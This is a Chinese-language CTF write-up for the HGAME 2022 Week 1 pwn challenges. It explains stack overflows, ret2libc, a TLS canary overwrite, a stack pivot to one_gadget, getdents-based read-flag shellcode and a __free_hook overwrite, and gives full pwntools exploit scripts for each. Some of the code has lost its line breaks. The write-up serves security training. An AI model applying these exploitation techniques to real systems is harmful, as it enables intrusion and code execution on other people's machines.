PWN-COMPETITION-HGAME2022-Week1
- enter_the_pwn_land
- enter_the_evil_pwn_land
- oldfashion_orw
- ser_per_fa
- test_your_nc
- test_your_gdb
enter_the_pwn_land
栈溢出,需要注意的是下标 i 的地址比输入s的地址更高
s溢出会覆盖 i ,于是需要小心地覆写 i 的值,让循环顺利执行下去
然后就是常规的ret2libc
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
io=process("./pwn1")
#io=remote("chuj.top",30722)
elf=ELF("./pwn1")main_addr=0x401260
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
pop_rdi=0x401313
ret=0x40101a
payload="a"*44+p32(44)+"b"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-0x0875a0
system=libc_base+0x055410
binsh=libc_base+0x1b75aapayload="a"*44+p32(44)+"b"*8+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p64(main_addr)
io.sendline(payload)io.interactive()
enter_the_evil_pwn_land
栈溢出,开了canary保护
不能通过覆盖canary低字节为0x0A,从而puts出canary
test_thread返回时检测到canary不正确,程序就会crash
test_thread是新创建的线程,而且栈可溢出的字节数很多,考虑直接覆写TLS中的canary
关键是确定TLS中canary的偏移,参考:canary的各种姿势
通过爆破,确定本题的TLS中canary的偏移为2160
然后是通过栈迁移实现ret2one_gadget
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
io=process("./enter_the_evil_pwn_land")
#io=remote("chuj.top",39853)
elf=ELF("./enter_the_evil_pwn_land")
libc=ELF("./libc-2.31.so")buf=0x404060
offset=2160
main_addr=0x4011D6
leave_ret=0x40125A
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
read_plt=elf.plt["read"]
pop_rdi=0x401363
pop_rsi_r15=0x401361
ret=0x40101a
payload="a"*48+p64(buf)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(read_plt)+p64(leave_ret)
payload=payload.ljust(offset,"a")
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
print("libc_base=="+hex(libc_base))pop_rdx_r12_ret = libc_base+0x11c371
ogg=libc_base+0xe6c7epayload="a"*8+p64(pop_rdx_r12_ret)+p64(0)+p64(0)+p64(ogg)
io.sendline(payload)io.interactive()
oldfashion_orw
-1绕过atoi,然后栈溢出,泄露libc基址
按照题目描述和hint,知道要读目录
读目录对应的系统调用为__NR_getdents,系统调用号为78
参考:getdents - 获得目录项
遍历目录,找文件名前4个字符为"flag"的文件,然后orw打印flag
读目录,遍历目录和orw没有很合适的gadgets,故直接写成shellcode
于是要先mmap出一块可执行的内存
exp如下:
# -*- coding:utf-8 -*-
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *context.log_level="debug"
context.arch="amd64"
context.os="linux"#io=process("./vuln")
io=remote("chuj.top",43565)
elf=ELF("./vuln")
libc=ELF("./libc-2.31.so")#gdb.attach(io,"b * 0x4013DB")
#pause()rop=ROP(elf)
rop.write(1,elf.got["write"])
for i in range(0x90//6):rop.read(0,elf.bss(i*6))
rop.migrate(elf.bss())io.sendlineafter("size?\n","-1")
io.sendafter("content?\n","\x00"*0x38+rop.chain())
io.recvuntil("done!\n")
libc_base=u64(io.recv(6).ljust(8,"\x00"))-libc.sym["write"]
libc.address=libc_basestring_="./\x00"
shellcode=asm("""mov rsi,0x10000mov rdi,0x600000mov rax,2syscallmov rdx,0xf00mov rsi,0x600100mov rdi,raxmov rax,0x4esyscallmov r8,raxadd r8,0x600100mov r9,0x600100start:mov edx,dword ptr[r9+0x12]cmp edx,0x67616c66je printxor rcx,rcxmov cx,word ptr[r9+0x10]add r9,rcxcmp r9,r8jl startjmp endprint:xor rsi,rsimov rdi,r9add rdi,0x12mov rax,2syscallmov rdx,0x100mov rsi,0x600200mov rdi,raxmov rax,0syscallmov rdx,raxmov rsi,0x600200mov rdi,1mov rax,1syscallend:jmp $""")rop2=ROP(libc)
rop2.mmap(0x600000,0x1000,7,0x21)
rop2.read(0,0x600000,len(shellcode)+len(string_))
rop2.call(0x600000+len(string_))
io.send(rop2.chain())
sleep(1)
io.send(string_+shellcode)#pause()io.interactive()
ser_per_fa
程序实现了一个spfa算法,题目提示漏洞点不在spfa算法内,于是分析其他地方
main函数中,第33、34行,可以给v6输入一个负数,实现任意读,泄露程序基址和libc基址
add函数中,当写入很多组数据时,num_edge也会被覆写
覆写num_edge为合适的值,实现任意写
spfa函数中,第36行,删除队列会调用free
于是配合上面的任意写,将free_hook写成后门函数地址即可getshell
# -*- coding:utf-8 -*-
from pwn import *
import hashlib
context.log_level="debug"
io=process("./spfa")
#io=remote("chuj.top",49375)
elf=ELF("./spfa")
libc=ELF("./libc-2.31.so")def get_pwd(str, num):if(num == 1):for x in str:yield xelse:for x in str:for y in get_pwd(str, num-1):yield x+ystrKey=""
for i in range(33,127):strKey+=chr(i)#io.recvuntil("sha256(????) == ")
#code=io.recvuntil("\n")[:-1]
#for x in get_pwd(strKey,4):
# h=hashlib.sha256()
# h.update(x.encode(encoding='utf-8'))
# h_hexdigest=h.hexdigest()
# if h_hexdigest==code:
# io.sendline(x)
# breakio.sendlineafter("datas?\n>> ","3")#1,泄露程序基址
num=1
io.sendlineafter("nodes?\n>> ",str(num))
io.sendlineafter("edges?\n>> ",str(num))
for i in range(num):io.sendline("1 2 3")io.sendlineafter("which node?\n>> ","1")
__frame_dummy_init_array_entry=(elf.sym["__frame_dummy_init_array_entry"]-elf.sym["dist"])//8
io.sendlineafter("to ?\n>> ",str(__frame_dummy_init_array_entry))
io.recvuntil("shortest path is ")
proc_base=int(io.recvuntil("\n")[:-1])-elf.sym["frame_dummy"]
print("proc_base=="+hex(proc_base))
backdoor=proc_base+0x16A5
print("backdoor=="+hex(backdoor))
unk_7068_addr=proc_base+0x7068
print("unk_7068_addr=="+hex(unk_7068_addr))#2,泄漏libc基址
num=1
io.sendlineafter("nodes?\n>> ",str(num))
io.sendlineafter("edges?\n>> ",str(num))
for i in range(num):io.sendline("1 2 3")io.sendlineafter("which node?\n>> ","1")
stdout=(elf.bss()-elf.sym["dist"])//8
io.sendlineafter("to ?\n>> ",str(stdout))
io.recvuntil("shortest path is ")
_IO_2_1_stdout_=int(io.recvuntil("\n")[:-1])
print("_IO_2_1_stdout_=="+hex(_IO_2_1_stdout_))
libc_base=_IO_2_1_stdout_-libc.sym["_IO_2_1_stdout_"]
print("libc_base=="+hex(libc_base))
free_hook_addr=libc_base+libc.sym["__free_hook"]
print("free_hook_addr=="+hex(free_hook_addr))#3,覆写free_hook为后门函数
free_hook_to_unk_7068_offset=(free_hook_addr-unk_7068_addr)//24
print("free_hook_to_edge_offset=="+hex(free_hook_to_unk_7068_offset))
num=609
io.sendlineafter("nodes?\n>> ",str(num+1))
io.sendlineafter("edges?\n>> ",str(num+1))
send_content=str(1)+" "+str(num+1)+" "+str(free_hook_to_unk_7068_offset-1)
for i in range(num):io.sendline(send_content)send_content=str(1)+" "+str(backdoor)+" "+str(backdoor)
io.sendline(send_content)io.sendlineafter("which node?\n>> ","2")io.sendline("cat flag")io.interactive()
test_your_nc
nc连上去,cat flag即可
test_your_gdb
调试得到s2的16字节数据,第23行的write泄露canary,第24行的gets造成栈溢出
程序有后门函数,ret2text即可
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
io=process("./test_your_gdb")
#io=remote("chuj.top",50610)
elf=ELF("./test_your_gdb")backdoor=0x401256
ans1=0xb0361e0e8294f147
ans2=0x8c09e0c34ed8a6a9
io.sendafter("pass word\n",p64(ans1)+p64(ans2))io.recv(24)
canary=u64(io.recv(8))
print("canary=="+hex(canary))payload="a"*24+p64(canary)+"b"*8+p64(backdoor)
io.sendline(payload)io.interactive()